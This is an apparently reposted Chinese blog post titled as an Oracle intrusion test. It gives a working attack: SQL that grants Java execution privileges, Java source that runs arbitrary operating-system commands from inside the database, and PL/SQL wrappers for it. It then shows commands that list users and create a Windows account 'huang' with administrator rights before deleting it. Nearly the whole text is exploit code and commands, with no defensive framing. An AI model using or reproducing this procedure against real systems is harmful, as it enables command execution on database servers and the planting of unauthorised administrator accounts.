oracle----入侵oracle测试

exec dbms_java.grant_permission( 'FLY', 'SYS:java.io.FilePermission', '<>', 'execute');
grant javasyspriv to fly;

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

第二步：
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

第三步：
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;

set serveroutput on
exec dbms_java.set_output(100000);

variable x varchar2(4000);
exec :x := RUN_CMz('net1 user');
exec :x := RUN_CMz('ipconfig');

exec :x := RUN_CMz('net1 user huang huang /add');
exec :x := RUN_CMz('net1 localgroup administrators huang /add');

exec :x := RUN_CMz('net1 user huang /del');

[@more@]

来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/26078027/viewspace-1052778/，如需转载，请注明出处，否则将追究法律责任。

转载于:http://blog.itpub.net/26078027/viewspace-1052778/